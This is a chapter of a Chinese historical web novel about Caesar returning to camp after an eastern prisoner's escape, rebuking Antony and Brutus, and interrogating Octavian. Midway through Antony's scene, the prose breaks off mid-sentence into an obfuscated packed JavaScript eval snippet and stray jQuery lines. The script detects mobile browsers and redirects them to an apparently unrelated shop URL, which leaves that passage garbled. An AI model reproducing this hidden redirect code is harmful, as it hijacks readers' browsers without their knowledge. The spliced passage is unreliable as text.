第十七章、雷霆降临


    一、黎明的暴怒


    晨雾初散时，阿莱西亚军营的平静被一阵狼狈的喧嚣打破。


    几十个满身烟灰、衣衫褴褛的人连滚带爬扑到营门前——他们已在烧焦的营地废墟中捱过后半夜，眼睁睁看着三个重伤的护卫在黎明前断气。


    当第一缕天光勉强照亮道路时，幸存的副手终于嘶哑着下令：‘回去……回罗马人那里……我们走不了更远了。’二十里的路，拖着十二个伤员和所剩无几的货物，他们走了整整三个罗马时。


    现在，这个失去主人的商队，像一群被拔了牙的野狗，瘫倒在罗马军营的门前……


    安东尼被亲兵从行军床上叫起来时，天边刚泛起鱼肚白。他套上胸甲，连皮带都没系紧就冲进中军大帐前空场——那里已经围了一圈人，火把的光照着一张张惊魂未定的脸。


    “……他就像从地里钻出来的幽灵！”一个胳膊上缠着渗血破布的护卫在描述，声音发颤，“先杀了主人，拿了钱和地图，然后放火……火是从三个方向同时烧起来的！我们根本来不及——”


    安东尼盯着那个瘫坐在地的胖子，忽然眯起眼睛：“你们的营地起火，火光二十里外都能看见——为什么我的哨塔没有报告？”


    奴隶贩子茫然抬头：“大、大人……我们的营地设在橡树林深处的凹地里，四周都是老树……火是很大，但大部分被树冠挡住了……”


    安东尼转头看向南侧哨塔的百夫长。后者紧张地吞咽了一下：“将军……昨夜南面天际确实有些泛红，但雾气很重，我们以为是哪个高卢村子在烧荒……最近常有这种事。”


    “常有？”安东尼的声音危险地压低。


    “战后很多高卢人焚烧无法带走的存粮，避免落入我们手中……”百夫长的声音越来越小，“而且……而且哨塔上的一半人手被调去参与追捕了，我们人手不足……”


    安东尼闭上眼睛。又是连锁反应——他加强追捕抽调了人手，导致常规警戒出现漏洞。


    “废物。”安东尼从牙缝里挤出这个词，不知道在骂谁。


    他强迫自己冷静，开始计算时间：袭击发生在子夜前后。现在距离事发已经过去四到五个罗马时。


    以一人一马的脚力，在黑夜中，没有向导，不熟悉地形……能跑多远？


    安东尼转身，对早已集结待命的骑兵队长下令：“扩大搜索范围到五十里。重点搜索所有向南、向东南的道路。检查每一个路口、每一处浅滩、每一个可能藏身的山洞。”


    他顿了顿，补充道：“带上高卢向导。还有——猎犬准备好了没有？”


    “已经带最好的莫洛瑟犬去了现场，但还没找到清晰的起嗅源。”骑兵队长迟疑道，“将军，那些逃散的奴隶……有上千人，足迹会覆盖掉——”


    “那就把足迹都踏平！”安东尼暴怒，“我要的是他！不是那些牲口！”?


    在安东尼发怒的同一时刻，凯撒在卢瓦尔河支流畔的驿站木屋里，正就着火光审阅边境防务报告。羊皮纸上的拉丁字母在跳跃的光影中微微颤动，如同他这些天来心中那股莫名的不安。


    就在这时，木门被猛地推开，带进一股寒夜的风。


    “统帅，有紧急信使求见。”亲卫队长雷克斯的声音紧绷如弓弦。


    信使几乎是被架进来的，嘴唇干裂，眼窝深陷，但那双年轻的眼睛里燃烧着某种近乎恐惧的急迫。他单膝跪地，双手呈上一卷用蜂蜡密封的莎草纸信筒——封口处压着阿格里帕家族的戒指印痕。


    凯撒接过，用匕首挑开蜡封的动作依然平稳，但雷克斯注意到，统帅握匕首的指节微微发白。


    莎草纸展开。阿格里帕工整而略显急促的字迹跃入眼帘：


    “致盖乌斯·尤利乌斯·凯撒，统帅亲启：


    事发突然，不及详述。东区特殊囚犯已于昨夜逃脱，手段残忍，两人死亡。现场发现屋大维少爷随身佩戴的雄鹿徽章，疑被用作通行信物。少爷情绪极为不稳，坚称徽章系‘遗失’，然其说辞漏洞百出。


    安东尼将军已展开追捕，然军营内外流言四起。此事一旦公开，无论最终被说成是“少爷私授信物”，还是“囚犯蛊惑少爷窃取”，对屋大维少爷的个人名誉和政治前途都将是毁灭性的打击。


    事涉家族荣誉与继承人安危，阿格里帕斗胆直谏：请统帅速归。


    马尔库斯·维普萨尼乌斯·阿格里帕


    于阿莱西亚大营，深夜急就”


    信纸在凯撒手中发出极轻微的、几乎无法察觉的颤响。


    火盆的光映在他脸上，那张被高卢八年风霜刻出深邃纹路的脸上，此刻没有任何表情。但雷克斯看见，统帅灰蓝色的眼睛里，有什么东西正在凝结——不是怒火，不是震惊，而是一种比北高卢的寒冬更彻骨的冰冷。


    ---


    午后，阿莱西亚营门处传来急促的马蹄声。


    一匹口吐白沫的驿马冲进营地，骑手几乎是从马背上滚下来的。他踉跄着跑到安东尼面前，单膝跪地，从怀中掏出一卷密封的羊皮纸信筒——上面烙着尤利乌斯家族的纹章。


    “紧急军情……来自统帅本人……”


    安东尼一把夺过，用匕首撬开火漆。羊皮纸展开，上面的字迹是凯撒特有的、凌厉而急促的草书：


    “致马库斯·安东尼：


    已知悉阿莱西亚营区变故。卢瓦尔河战事已交由盖乌斯·费边全权处置。我将率亲卫三十骑，换马不换人，日夜兼程返回。预计今日黄昏前抵达。


    在此期间，汝之职责：


    一、军营全面戒严，许进不许出。


    二、所有参与昨夜追捕、巡逻、看守之相关人员，隔离待审。


    三、保护现场，尤其是东侧监区帐篷，保持原状。


    四、屋大维及其同伴阿格里帕，禁止离开营区。


    五、若已获逃犯踪迹，可继续追捕，但严禁私刑处决——我要活的。


    盖乌斯·尤利乌斯·凯撒


    于河畔驿站，黎明前”


    安东尼的手指收紧，羊皮纸边缘被捏出褶皱。


    他知道凯撒在军营里有眼线。这是理所当然的。但……


    让安东尼感到寒意的是：凯撒放弃了卢瓦尔河的战事——那是巩固高卢东部统治的关键一步——不惜马力地赶回来，只为了一个逃跑的俘虏。


    这不正常。


    这不“凯撒”。


    安东尼缓缓抬起头，阳光刺眼，他却觉得有股寒气从脊椎爬上来。


    那个人……那个东方人，到底在凯撒心里种下了什么？


    二、途中的三封急报


    凯撒在第一个换马点接到了卡勒努斯的密报。


    这个精明的财务官在信中没有提及屋大维，只以冷静到残酷的数字描述了损失：两名资深看守的抚恤金、东区守卫系统彻底崩溃后需要增加的预算、因大规模追捕而耽误的冬储物资清点进度……但在信的末尾，他写下了一句意味深长的话：


    “统帅，此人逃脱的方式，与他在阿莱西亚凭空出现的方式一样，超越了常规逻辑。我们或许从未真正‘关住’过他。另：安东尼将军的处置方式，可能加剧了军营内部的不稳定情绪。”


    凯撒烧掉了这封信。灰烬在晨风中飘散时，他想起了那个雨夜，帐篷里，那个人用树枝画下的那朵歪扭的云。


    “从云上掉下来的。”他当时是这么解释的。


    现在看来，那或许不是玩笑。


    第二个信使在正午时分撞上了他们。这个人是凯撒安插在安东尼身边的眼线之一，直接对统帅负责。他的报告更简短，也更致命：


    “安东尼将军在昨夜追捕未果后，言辞间暗示，统帅对‘特殊囚犯’的过度关注是导致此事的根源。部分军官附和。


    屋大维少爷整日未出帐篷，阿格里帕守卫在外，拒绝任何人探视。流言版本已增至七种，其中最流行的一种是：‘东方巫师用魅术控制了少爷，窃取徽章，在统帅离开后施法逃脱。’”


    凯撒看完，将信纸揉成一团，塞进马鞍旁的口袋。他脸上依然没有表情，但握着缰绳的手，青筋微微突起。


    他没有说话，只是狠狠一夹马腹。战马嘶鸣，速度又加快了一分。


    下午，距离阿莱西亚还有三十里时，第三个信使带来了安东尼的正式报告。


    这份报告公事公办，详细描述了逃犯的作案过程、追捕措施、当前进展，并附上了对看守失职人员的处罚建议。但在报告的最后一节，安东尼写道：


    “……综上所述，该囚犯极具危险性，且对罗马军队的运作规律有超乎寻常的理解。其逃脱并非偶然，而是一场精心策划的、对我们整个防御体系的嘲弄。


    鉴于其可能掌握关于我军部署、后勤乃至指挥结构的敏感信息，建议将其威胁等级升至最高：一旦发现，格杀勿论。活捉的风险太大。”


    建议格杀勿论。


    凯撒盯着这几个字，看了很久。然后他抬起头，望向南方阿莱西亚方向隐约可见的山峦轮廓。


    “格杀勿论？”他低声重复，嘴角扯出一个毫无笑意的弧度，


    “不，安东尼。你不明白。”


    “这样的人，死了就太可惜了。”


    “我要他活着。我要他站在我面前，亲口告诉我，他是怎么做到的。然后……”


    他没有说完后半句。但身旁的亲卫感觉到，一股如有实质的寒意，从统帅身上弥漫开来。


    ??


    三、黄昏归来?


    阿莱西亚军营南门，瞭望塔上的哨兵最先看见那数骑烟尘。


    “北面！有人冲过来了——速度很快！”


    百夫长抓起铜管望远镜，只看了一眼，脸色就变了：“是统帅！开门！快开门！”


    沉重的包铁木门被迅速拉开。凯撒几乎没有减速，十余匹马如狂风般卷入营门，马蹄在夯土地面上踏出深深的印记，溅起的泥点甩了守卫一脸。


    “统帅归来——！”传令兵的呼喊声一路炸开。


    整个军营像被投入巨石的池塘，瞬间沸腾。士兵们从帐篷里钻出，军官们丢下手头的事务，所有人都涌向主通道，想要亲眼确认那个传闻——统帅真的为了一个逃犯，丢下重要的军事行动赶回来了？


    安东尼接到消息时，正在自己的帐篷里对着地图发愣。他冲到帐外，正好看见凯撒勒马停在主帅大帐前。


    凯撒的脸上写满疲惫，眼中布满血丝，深红色的帕卢达门图姆也溅上了泥浆。但当他翻身下马，落地站定时，那股属于征服者的、压倒性的威严，依然让周围瞬间寂静。


    他的目光扫过围拢的人群，像刀锋刮过皮肤。


    “安东尼。布鲁图斯。”凯撒开口，声音因长时间骑马而沙哑，却更添一份粗糙的力量，“到我帐里来。现在。”


    没有问候，没有寒暄，甚至没有看一眼那些试图行礼的军官。


    他掀开主帅大帐的帘子，走了进去。


    安东尼和布鲁图斯对视一眼，后者脸色苍白如纸。两人硬着头皮，跟了进去。


    帐帘落下，隔绝了所有窥视的目光。但所有人都竖起了耳朵——尽管他们什么也听不见。?


    凯撒走到帐中火盆旁，背对两人，伸手烤火。火光在他深刻的侧脸上跳动，投下长长的阴影。


    “马库斯·安东尼。”凯撒忽然开口，声音不高，却每个字都像冰锥，“看着我。”


    安东尼抬起眼。


    凯撒转过身，灰蓝色的眼睛里没有愤怒，只有一种近乎疲倦的失望——这比任何暴怒都更让安东尼心悸。


    “八年前在阿奎莱亚，你带着三个百人队冲垮了伊斯特拉尼人的侧翼，救了整个军团的退路。”凯撒缓缓说，“六年前在萨比斯河，你浑身是血站在尸堆上，对我喊‘我们能赢’。”


    他向前一步，逼近安东尼：“四年前在阿瓦利肯，你第一个登上城墙，背上插着三支箭还在挥剑——那时候我以为，我找到了一个永远不会让我失望的兄弟。”


    安东尼的下颌绷紧，喉咙发干：“统帅，我——”


    “现在。”凯撒打断他，声音陡然变冷，“你让一个语言不通、赤手空拳的俘虏，在你的军营里杀了两个人，剥了你士兵的皮，大摇大摆骑走你的马，还用你亲手加强的看守级别当作笑话讲给全高卢听。”


    每个字都像耳光，抽在安东尼脸上。


    来自罗马最顶级雄辩家的语言处刑，安东尼招架不住，布鲁图斯瑟瑟发抖。


    “你加强了看守？”凯撒的嘴角勾起一丝没有弧度的笑，“多严密？双岗？三岗？然后他当着那些‘严密看守’的面，换装，出门，穿过半个军营，走到马厩，挑了一匹最好的马——而你的人在干什么？在猜他是不是去解手？”


    “我以为——”安东尼的声音卡在喉咙里。


    “你以为。”凯撒重复这三个字，声音轻得像叹息，“你以为削减他的食物会让他屈服？你以为把他关得更严就能抹掉我的兴趣？马库斯，你什么时候开始替我思考了？”


    安东尼的脸涨红，手指深深掐进掌心。


    “我来告诉你，你真正做了什么。”凯撒的声音陡然凌厉，“你激怒了一头本可以驯服的狮子！你让他确信，留在罗马军营只有耻辱和死亡——所以你逼他用最擅长的方式反击！战争！突袭！屠杀！”


    凯撒抓起桌上一个陶杯，狠狠砸在安东尼脚边！


    碎片四溅。


    安东尼浑身僵硬，像一尊正在崩裂的石像。耻辱、愤怒、还有一丝连自己都不愿承认的恐惧，在胸腔里翻滚。


    “至于你，德基穆斯·布鲁图斯。”凯撒转向一直僵立在旁的年轻人，声音稍微缓和，却更冷，“我让你看守的是一份可能改变罗马命运的礼物。而你，给我看丢了一只耗子。”


    布鲁图斯脸色惨白，嘴唇蠕动，却发不出声音。


    “你知道我在卢瓦尔河边收到密报时，在想什么吗？”凯撒走近，俯视着比他矮一头的年轻人，“我在想——布鲁图斯家族那个以严谨著称的家训，是不是到你这一代就断了？”


    这句话比任何鞭刑都狠。布鲁图斯的身体晃了晃。


    “你的士兵在岗位上打瞌睡。”凯撒继续说，每个字都像钉子在敲，“你的巡逻队把少了一个人当成‘解手’。你的南门守卫看到家族徽章就腿软——而你，我亲自指派的看守长官，直到人跑了多久才接到报告？”


    “统帅，我愿接受任何惩——”


    “惩处？”凯撒嗤笑，“惩处你能把我的俘虏带回来吗？能把罗马失去的颜面补上吗？能让那些正在嘲笑我们的人闭上嘴吗？”


    他转身，走回火盆边，背影在火光中显得异常疲惫。


    “你们知道我为什么赶回来？”凯撒低声说，像是自言自语，“不是因为丢了俘虏。是因为他逃走的方式——他让我们所有人看起来像一群穿着铁皮的傻瓜。”


    他转过身，眼神重新变得锐利：


    “现在，那个让我们变成傻瓜的人，正在高卢的某个地方，嘲笑我们的无能。而元老院的使者，可能已经在路上，准备用这件事把‘凯撒被东方男巫玩弄’的故事，唱遍罗马每一个澡堂和酒馆。”


    安东尼猛地抬头：“统帅，给我十天！我一定把他抓回来——”


    “你？”凯撒打断他，眼神里第一次闪过真实的失望，“马库斯，你还没明白吗？你已经输了。从你用愚蠢的惩罚激怒他的那一刻起，你就输了。”


    他走到安东尼面前，两人几乎鼻尖相对：


    “现在，听清楚。我不会撤你的职，不会罚你鞭刑，甚至不会在公开场合斥责你——因为罗马需要团结，因为元老院在等着我们内乱。”


    “但你要记住，”凯撒的声音降到冰点，“从今天起，你欠我一条命。不是战场上的救命之恩，而是政治生命——你让我的敌人拿到了最锋利的刀。”


    他退后一步，目光扫过两人：


    “所以，你们要做的，不是‘将功补过’。你们要用十倍、百倍的努力，去弥补一个可能永远无法弥补的错误。去追，去搜，去把他带回来——在我亲自出手之前。”?


    “另外，”凯撒继续说，语气不容置疑，“关于屋大维徽章的所有流言，从此刻起，禁止传播。你就说，徽章是统帅本人授予逃犯的临时信物，用以测试军营警戒水平——结果证明，我们的警戒形同虚设。把所有责任，揽到我自己头上。”


    安东尼震惊：“统帅，这会让您——”


    “——会让我的威望受损？也许。”凯撒转过身，望向帐壁上悬挂的高卢地图，“但比起让屋大维的政治生命在十四岁就宣告终结，这点代价，我付得起。”


    他沉默片刻，低声补充：“况且，这也不完全是谎言。我的确……给了他太多的特殊关注。这是我的失误。现在，该由我来纠正。”


    安东尼看着统帅的背影，忽然意识到：凯撒的愤怒，或许并不全是针对逃犯或他们的失职。


    有一部分，是针对他自己的。


    针对那个在雨夜走进帐篷的盖乌斯，针对那个被好奇心蒙蔽了判断力的统帅，针对那个以为可以同时掌控政治、战争和一个神秘灵魂，却最终被狠狠上了一课的“聪明人”。


    “去吧，”凯撒没有回头，“执行命令。然后，我要见屋大维。”


    凯撒最后看了安东尼一眼，那眼神复杂得令人心寒——有失望，有不甘，还有一丝安东尼从未见过的、近乎痛楚的东西。


    “记住这份耻辱，马库斯。”凯撒低声说，“记住是谁把它烙在你脸上。然后，把它变成火，烧向该烧的人。”


    安东尼走回自己副帐的时候，浑身冰冷。


    火盆的光在他脸上跳动，映出一双逐渐被某种黑暗情绪吞噬的眼睛。凯撒的话像毒蛇，钻进他的耳朵，咬噬他的理智


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224102|197539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “你激怒了一头本可以驯服的狮子……”


    “他让你看起来像傻瓜……”


    “你欠我一条命……”


    每一句都在发酵，都在扭曲，都在指向同一个人——


    不是那个神秘的东方贵族，不是那个有价值的俘虏，不是那个凯撒感兴趣的谜题。


    是一个羞辱了他、愚弄了他、差点毁掉他在凯撒心中八年积累的信任的……敌人。


    “我会找到你。”他对着空无一人的帐篷，声音嘶哑得像砂纸摩擦，“我会亲手把你钉在十字架上。然后看着你流血，听着你惨叫……直到你明白，羞辱马库斯·安东尼的代价是什么。”


    帐外，黄昏如血。


    而仇恨，已经生根。


    四、审判时刻


    帅帐内，屋大维站在那里，脸色苍白得像莎草纸。他低着头，浅金色的头发散乱地垂在额前，手里紧紧攥着那枚雄鹿徽章。


    凯撒没有立刻说话。


    他走到主帅的座位前——那是一张铺着狼皮的行军椅——却没有坐下。他背对着少年，伸手拿起桌案上的一样东西。


    那把剑。


    李世民的剑。


    剑鞘上的金银钿妆在帐内昏黄的光线下流淌着温润却冰冷的光泽。凯撒的手指抚过剑身，动作轻柔得像在触碰情人的皮肤。


    然后他转过身，将剑轻轻放在桌案中央。


    “说吧。”凯撒的声音很平静，“从你第一次走进那顶帐篷开始。每一个细节。”


    不是“你有没有给他徽章”，不是“你为什么要帮他”，甚至不是“你知道你做了什么吗”。只是一个简单的问题：发生了什么。


    屋大维张了张嘴，声音干涩：“舅舅，我——”


    “我要听事实，屋大维。”凯撒打断他，灰蓝色的眼睛像两潭封冻的湖，“不是解释，不是借口。事实。现在，把告诉安东尼的那些话忘掉，这里只有我和你。”


    帐内死寂。只有远处隐约传来工匠修补营门的敲击声。


    屋大维开始讲述。起初结结巴巴，但很快，在凯撒那平静到可怕的注视下，他不得不强迫自己冷静，尽可能客观地复述：


    “……他说‘我接受’。”屋大维的声音低了下去，“用他的语言……然后，他把那条金链子给了我。我……我把徽章给了他。我以为……那只是……”


    “友谊的象征？”凯撒替他说完，嘴角勾起一丝没有温度的弧度，“告诉我，屋大维，当他把链子戴在你脖子上时，你是什么感觉？”


    少年愣住了。


    “心跳加速？脸颊发热？觉得他是这世界上最特别的人？”凯撒的每个词都像手术刀，精准地剖开少年试图隐藏的一切，“觉得他理解你，欣赏你，把你当成平等的、智慧的对话者——而不是一个需要被保护的、体弱多病的罗马贵族少年？”


    屋大维的脸由白转红，又由红转青。


    “他当然理解你。”凯撒继续说，声音里终于渗出一丝冰冷的讥诮，“他花了三个下午，就摸清了你的全部弱点：对知识的渴求、对被当作‘孩子’的不满、对异质文明的天真向往……还有，一个十四岁少年最容易滋生的、对强大年长者的倾慕。”


    “不！不是那样的！”屋大维脱口而出，声音在发抖，“他是真的……他教我汉字，他分享东方的哲学——”


    “然后利用你获取信息、测试看守的漏洞、最后，用你亲手给的家族徽章，大摇大摆地穿过我的军营大门。”凯撒握住他的手，打开他的手心，取出那枚雄鹿徽章，轻轻放在剑鞘旁。


    两件信物，并排陈列。


    一件是主人拿不回去的武器，一件是被利用后遗落的凭证。


    “告诉我，”凯撒看着屋大维，眼神深不可测，“在你为他讲述《奥德赛》时，在你为他解释罗马的家族命名时，在你为他推荐德尔斐和卢克索的神谕所时……他有没有问过你，军营的巡逻时间？换岗规律？马厩的位置？南门守卫的检查习惯？”


    屋大维僵住了。


    那些看似随意的、穿插在文化教学中的问题，此刻在凯撒的质问下，像散落的珠子突然被一根线串起——


    “你们一天巡视几次？”（画了太阳和月亮，做了循环的手势）


    “马匹……在哪里休息？”（画了马和草棚）


    “大门……一直开着？”（画了门和太阳落山）


    “他……”屋大维的嘴唇在颤抖，“他不是囚犯……他是客人，他想了解罗马……”


    “他想了解的是如何逃离罗马。”凯撒的声音斩钉截铁，“而你，我的外孙，我的继承人之一，用了整整三个下午，亲手为他绘制了逃跑的地图。”


    帐内一片死寂。


    屋大维像被抽干了所有力气，踉跄后退。少年的灰色眼睛里，有什么东西破碎了——不仅是信任，还有某种更珍贵的、关于“理解”与“共鸣”的幻梦。


    凯撒微微俯身，灰蓝色的眼睛紧紧锁住屋大维的，一字一句，仿佛用凿子将这句话刻进少年的骨髓：


    “在权力的疆域里，情感是最珍贵的货币，也是最致命的弱点。你向他展示了你的情感，就等于向他暴露了你的咽喉。”


    屋大维浑身一震，像是被这句话的寒意瞬间冻僵。凯撒的言语没有安慰，只有赤裸裸的、血淋淋的现实。


    凯撒绕过桌案，走到屋大维面前。这次，他伸出双手，重重地按在少年单薄却紧绷的肩膀上。那力量沉甸甸的，是一种托付，也是一种禁锢。


    “哭泣属于昨夜。今天，你要开始思考：他为什么能成功？他看穿了罗马军营的哪些弱点？他对盖乌斯·屋大维这个人的判断，为何如此精准？”


    “我要你写一份报告，不是关于你多难过，而是像一个将军分析敌情那样，分析‘菲尼克斯’这个人。”


    凯撒略微停顿，灰蓝色的眼眸深处，闪过一丝屋大维无法完全理解的复杂光芒。


    “如果有一天，你再次站在他面前，你该如何面对他？是复仇，是征服，还是……另一种形式的对话？”


    屋大维的眼神，在泪光之后，开始有某种冰冷的东西凝聚：“我明白了，舅舅。我会写出这份报告……我永远也不会忘记他。”?


    屋大维抬起头，眼中还有最后一丝不甘：“舅舅，您难道……您难道对他没有——”


    问题像一把淬毒的匕首，掷向帐内最敏感的沉默。


    凯撒没有动。他凝视着屋大维，目光深处仿佛有暗流在无声地汹涌、旋转。


    时间被拉长了，每一秒都充满厚重的质感。屋大维几乎能听到自己血液冲刷耳膜的声音，他在等待雷霆，或者更冷的冰霜。


    然而，凯撒只是极轻地、几乎像叹息般呼出了一口气，目光投向虚空，仿佛再次看到雨夜灯火下的那个身影。


    “是的，屋大维。我看到了一个谜，一个值得我放下统帅姿态去理解的灵魂。这不是迷惑，是……”他顿了顿，似乎在寻找更准确的词，“是两座山峰在云雾中偶然相望。我欣赏他，甚至……珍惜那场对话。但这不妨碍我清楚，他是罗马需要消化或消灭的未知力量。我的错误不在于‘欣赏’，而在于忘了在欣赏的同时，把囚笼的锁铸得更牢。”


    他收回目光，重新落在屋大维身上，那层罕见的柔软消失了，取而代之的是更加冷硬的决心：“现在，这个错误需要被纠正。而你的错误，也需要被转化。”


    “去吧。”凯撒说，声音恢复了统帅的平淡。


    屋大维行了一个标准的军礼，转身，步伐稳定地走向帐帘。他的背脊挺得笔直，仿佛已经扛起了某种无形的重量。


    在掀开帘子前，他停顿了极短暂的一瞬，没有回头，只是左手无意识地握紧了胸前——那里，贴着他皮肤的，不是家族徽章，而是一道柔韧、微温、仿佛拥有生命的蛇骨金链。


    帘子落下，帐内重归寂静。??


    凯撒独自站在昏暗中。他的目光落在桌案上——并排的剑与徽章。


    然后，他做了一件让暗中观察的亲兵都意想不到的事：


    他走到剑架前，拔出自己的罗马短剑——那柄跟随他征服高卢八年、剑刃上布满细微缺口的武器。他双手握住剑柄，高高举起，然后——


    狠狠劈在行军椅的扶手上！


    “哐——！！！”


    狼皮撕裂，木屑飞溅。


    凯撒像一头被困住的野兽，用最原始的方式发泄某种无法言说的东西——不是愤怒，不是失望，而是某种更复杂、更危险的、几乎要冲破他毕生理智防线的洪流。


    外面守卫的亲兵们屏住呼吸，无人敢动。


    帐帘被猛地掀开。


    凯撒走出来，呼吸平稳，衣着整齐，连头发都一丝不苟。只有那双灰蓝色的眼睛，深处有什么东西在熊熊燃烧。


    “传令。”他的声音平静如常，却让所有人脊背发凉，“全军集合。现在。”